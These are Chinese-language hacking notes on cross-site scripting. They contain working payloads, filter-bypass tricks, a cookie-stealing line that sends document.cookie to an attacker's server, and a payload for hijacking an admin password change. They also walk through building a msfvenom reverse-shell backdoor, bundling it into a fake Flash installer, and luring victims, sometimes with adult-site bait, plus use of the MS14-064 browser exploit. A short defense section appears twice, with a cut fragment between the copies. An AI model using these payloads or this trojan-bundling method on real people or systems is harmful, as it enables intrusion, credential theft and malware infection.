XSS
跨站
大佬参考:https://www.freebuf.com/articles/web/334662.html
原理:(前端漏洞)指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响
的 HTML 代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本
产生的根本:接受输入,接受后输出,将接受的数据进行页面显示,数据一旦是JS
代码,将调用JS
,实现XSS
攻击
漏洞的产生位置:
产生重要的一点是:显示的数据受你控制。
数据交互的地方:
- 留言版,评论
- 注册
- 登录
get
.post
.headers
- 反馈与浏览
- 富文本编辑器
- 各类标签插入和自定义
数据输出的地方:
- 用户资料
- 关键词、标签、说明
- 文件上传
危害:
网络钓鱼,包括获取各类用户账号;
窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;
劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;
强制弹出广告页面、刷流量等;
网页挂马;
进行恶意操作,如任意算改页面信息、删除文章等;
进行大量的客户端攻击,如ddos
等;
获取客户端信息,如用户的浏览历史、真实即、开放端口等;
控制受害者机器向其他网站发起攻击;
结合其他漏洞,如csrf
,实施进一步危害;
提升用户权限,包括进一步渗透网站;
传播跨站脚本蠕虫等
反射型(非持久性)
特点:构造好,一次性的。一般攻击针对某个人
用途:用于盗取Cookies,钓鱼。
获取cookie:
- 根据不同语言写不同的xss的playlod,让管理员访问
- 可以用beef或者xss平台或者让playlod获取cookie写到自己服务器,在服务器上写代码接收
存储型(持久性)
特点:一般出现在留言板,评论区,以前留的言会被后面看到
攻击者植入攻击代码xss
,之后的人只要访问留言板,都会收到XSS
攻击
原因:攻击代码写到数据库里面
DOM型
通过前端的dom节点形成的XSS漏洞,一般不与后台服务器产生数据交互
DOM型的源代码都在前端能看到(JS
代码)
特点:接受输出均在JS
实现,后期构造在html
代码中
产生的原因:前端js代码的DOM操作导致
判断DOM型:我们用反射性,存储型的playlod不能触发DOM型,因为DOM一般把输入的内容作为标签名,要闭合,还要判断标签的优先级。例如<a>
和<script>
,a的优先级高,所以script在a里面有可能生效不了
可能触发DOM型XSS的js操作
document.write 向 HTML 文档中动态写入内容。
innerHTML 获取或设置 DOM 元素的 HTML 内容。
location 提供当前页面的 URL 信息,并可用于页面跳转。
windows.name 获取或设置当前窗口的名称
document.referer 返回跳转到当前页面的来源页面的 URL。
playlod闭合标签
' onclick="alert(111)"
' onclick="alert(111)">
'><img src="#" onmouseover="alert('xss')">
测试方法
- 工具扫描:appscan , AWVS ,xray大型漏扫系统,xsstrike等自动化小工具
- 手工测试:burp , firefox
攻击手法
权限维持
前提:已经取得相关的web权限(能对文件进行修改-主要用来进行权限维持)
- 写入代码到登录成功页面,利用beef或者xss平台实时监控Cookie等凭据实施权限维持(cookie获取)
- 若存在同源策略或者防护情况下,Cookie获取失败可以采用表单劫持或者数据明文传输实现(表单劫持)
表单劫持解决cookie获取不全,密码解密不出来。
表单劫持:
- 查找功能点(点击登录按钮——检查看网络请求数据)
- 查找源码接受数据的地方
- 插入xss代码
xss钓鱼攻击
注意:免杀
条件:
- 通过xss beef直接跳转这个网址
- 直接钓鱼(受害者感兴趣的东西,诱惑访问)
案例:Flash(受害者正常所需要的软件)受配合MSF捆绑上线
过程:
-
生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=6666 -f exe > flash.exe 注意:ip写攻击者ip MSF不分操作系统,都可以生成后门 会生成.exe文件(为下面捆绑做铺垫)
-
下载官方文件(例如:Flash)-保证正常运行
先有一个服务器绑定域名(域名最好和想冒充的相似) 在服务器搭建一个相似的页面 下载正常文件 代码更换下载地址(下载就是捆绑好的软件,做到即运行后门,又能安装软件,保证后门和正常软件在一个压缩文件里)
-
压缩捆绑文件(正常软件和后门)-解压提取运行
使用高级压缩(推荐winrar) 将两个文件一起压缩 点击创建自解压文件 点击高级选项 设置解压目录(常规里) 设置解压前运行后门文件 解压后运行正常文件 还可以逼真一点(用Restorator设置图标)
-
MSF配置监听状态
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 6666 run
-
诱使受害者访问URL-语言要适当(例如色色网站)
浏览器网马
xss配合MS14-064
MS14-064
CVE-2019-1367(没有exp)
CVE-2020-1380(没有exp)
MS14-064漏洞(winxp,win7的ie浏览器)
-
配置MSF生成URL
use exploit/windows/browser/ms14_064_ole_code_execution set allowpowershellprompt true set target 1 run
-
诱使受害者访问url(利用xss或者直接钓鱼)
利用xss就是,写入xss的代码,上线beef,在beef中直接控制访问后门的url
绕过
事件:
事件名 | 作用 |
---|---|
onload | 加载完毕 |
onerror | 错误事件 |
onfocus | 得到焦点 |
onblur | 失去焦点 |
onclick | 单击事件 |
ondblclick | 双击事件 |
onchange | 改变事件 |
onmouseover | 鼠标移上 |
onmouseout | 鼠标移出 |
onsubmit | 表单提交事 |
onstart | 滚动事件 |
属性:
属性名 | 作用 |
---|---|
autofocus | 自动获得焦点 |
open | 打开 |
标签:
<script>
<script>alert("xss");</script> 自动触发
解释:alert() 是 JavaScript 函数,用于弹出一个对话框,显示指定的消息(这里是 "xss")。
替换 alert("xss") 为恶意代码:
窃取用户的 Cookie:window.location='http://ip/文件目录?cookie='+document.cookie
<img>
<img src=1 onerror=alert("xss");> 自动触发
解释:<img> 标签用于在网页中嵌入图像;src=1 指定图像路径,但 1 是一个无效的 URL(故意触发错误)。
onerror 事件:当图像加载失败(例如 src 无效)时,会触发 onerror 事件。
将 onerror 的值设置为恶意 JavaScript 代码
<input>
<input onfocus="alert('xss');">
解释:<input> 标签用于创建表单输入字段(如文本框、按钮等);onfocus 事件当用户点击或通过代码使 <input> 获得焦点时,触发 onfocus 事件
将 onfocus 的值设置为恶意 JavaScript 代码
Payload 触发方式 隐蔽性 适用场景
<input onfocus="alert('xss');"> 需用户点击 高 需要绕过自动检测
<input onblur=alert("xss") autofocus> 需用户点击其他地方 中 需要用户轻微交互
<input onfocus="alert('xss');" autofocus> 自动触发 低 直接攻击,无交互
<details>
<details ontoggle="alert('xss');"> 需要点击
<details open ontoggle="alert('xss');"> 自动触发
解释:<details> 标签:HTML5 元素,用于创建可折叠的内容区域;ontoggle 事件当 <details> 的展开/折叠状态变化时触发。
将 ontoggle 的值设置为恶意代码
<svg>
<svg onload=alert("xss");> 自动触发
解释:<svg> 标签用于在 HTML 中嵌入矢量图形。onload 事件当 SVG 加载完成时触发
<select>
<select onfocus=alert(1)></select> 需要点击
<select onfocus=alert(1) autofocus> 自动触发
解释:<select> 标签用于创建下拉选择框;onfocus 事件当用户点击或通过键盘导航(Tab 键)使 <select> 获得焦点时触发。
alert(1) 可能被替换为恶意代码
<iframe>
<iframe onload=alert("xss");></iframe> 自动触发
解释:<iframe> 标签用于在网页中嵌入另一个页面
<video>
<video><source onerror="alert(1)"></video> 自动触发
解释:<video> 标签用于在网页中嵌入视频内容,通常包含 <source> 指定视频源。<source> 指定的视频文件加载失败(如 src 为空或无效),就会触发 onerror 事件。
alert(1) 可能被替换为恶意代码
<audio>
<audio src=x onerror=alert("xss");> 自动触发
解释:<audio> 标签用于在网页中嵌入音频内容;src="x" 是一个无效的音频路径,浏览器无法加载,因此会触发 onerror 事件
<body>
<body/onload=alert("xxs");> 自动触发
解释:<body> 标签用于定义HTML文档的主体部分;onload 事件会在 <body> 加载完成后触发,
<textarea>
<textarea onfocus=alert("xss"); autofocus> 自动触发
解释:<textarea>HTML表单文本域标签,通常用于用户输入多行文本;
<keygen>
<keygen autofocus onfocus=alert(1)> //仅限火狐 自动触发
解释:<keygen>标签历史遗留标签(HTML5已废弃),曾用于生成密钥对(不常用)
<marquee>
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以 需要交互
解释:<marquee> 标签:已废弃的 HTML 标签,用于创建滚动文本。onstart 事件:在 <marquee> 开始滚动时触发
<isindex>
<isindex type=image src=1 onerror=alert("xss")>//仅限于IE 自动触发
解释:<isindex> 标签:已废弃的 HTML 标签(早期用于创建简单搜索输入框);type=image 模拟 <img>;src=1 是无效路径 → 触发 onerror
javascript伪协议
当过滤no开头的属性和script时用
<a>
标签
<a href="javascript:alert(`xss`);">xss</a>
<iframe>
标签
<iframe src=javascript:alert('xss');></iframe>
绕过策略:
-
当过滤某个标签时
绕过:更换其他标签尝试
-
过滤空格
绕过:用
/
代替空格 -
过滤关键字
绕过:大小写绕过(过滤某个关键字)
绕过:双写绕过(当有些waf可能会只替换一次且是替换为空时)
绕过:字符拼接
利用eval <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> 利用top <script>top["al"+"ert"](`xss`);</script>
-
过滤双,单引号
绕过:如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(`xss`);>
绕过:使用编码绕过
-
过滤括号
绕过:当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> 解释:eval 是 JavaScript 中用于执行字符串代码的函数。throw 抛出一个“错误”,内容是一个字符串 '=alert\x281\x29'。由于 window.onerror 被设置为 eval,这个“错误”会被 eval 执行。\x28 和 x29 是十六进制转义,分别对应 ( 和 ),所以实际字符串是 =alert(1)
-
过滤url地址
绕过:使用url编码
<img src="x"onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
绕过:使用IP
十进制IP <img src="x" onerror=document.location=`http://2130706433/`> 八进制IP <img src="x" onerror=document.location=`http://0177.0.0.01/`> hex <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
html标签中用
//
可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
使用
\\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议
使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号 <img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度
应用场景:
-
当我们登陆后,发现后台管理员有功能页面,能够查看注册用户的账号密码
获取cookie:当我们把注册用户的账号密码设置为js代码,获取cookie,当管理员查看时就会触发
-
当我们获得管理员cookie时,发现登录不了(而且cookie正确,有可能是后台使管理员的cookie时时变化)
获取指定数据:例如获取网站源代码,网页信息,直接把js代码换成获取指定数据的
-
修改密码(直接修改管理员的密码)
GET场景:登录后,当我们修改密码时抓包发现:URL通过访问一个地址带着密码进行密码修改(GET修改)
攻击:注册一个用户名和密码存在跳转的修改密码的URL链接,如果管理员登陆了后台,然后查看了用户注册密码信息,就可以重置管理员密码
playlod:
POST场景:修改密码,通过POST包进行修改
playlod:
<script>$.ajax({url:'http://管理员(服务器)ip/修改密码网址',type:'post',data:{p:'密码'}});</script>
防御方法
-
过滤一些危险字符,以及转义
& < > " ' /
等危险字符通过自定义函数过滤或者自带的过滤函数:例如php中利用htmlentities函数
绕过:尝试有哪些没有过=过滤
-
HTTP-only Cookie
作用:禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此Cookie。
设置:直接在代码中写,或者在php配置文件中修改
绕过:尝试是全局的还是局部的
-
CSP(Content Security Policy)
作用:白名单制度,开发者明确告诉客户端哪些外部资源可以加载和执行
设置:直接在代码中写,或者在php配置文件中修改
绕过:尝试是全局的还是局部的
-
输入内容长度限制,实体转义
绕过:如果在js前端代码做限制删除就可以,或者当长度做限制的时候,可以发到burp在url中修改,其他的基本绕过不了
rl:‘http://管理员(服务器)ip/修改密码网址’,type:‘post’,data:{p:‘密码’}});
防御方法
-
过滤一些危险字符,以及转义
& < > " ' /
等危险字符通过自定义函数过滤或者自带的过滤函数:例如php中利用htmlentities函数
绕过:尝试有哪些没有过=过滤
-
HTTP-only Cookie
作用:禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此Cookie。
设置:直接在代码中写,或者在php配置文件中修改
绕过:尝试是全局的还是局部的
-
CSP(Content Security Policy)
作用:白名单制度,开发者明确告诉客户端哪些外部资源可以加载和执行
设置:直接在代码中写,或者在php配置文件中修改
绕过:尝试是全局的还是局部的
-
输入内容长度限制,实体转义
绕过:如果在js前端代码做限制删除就可以,或者当长度做限制的时候,可以发到burp在url中修改,其他的基本绕过不了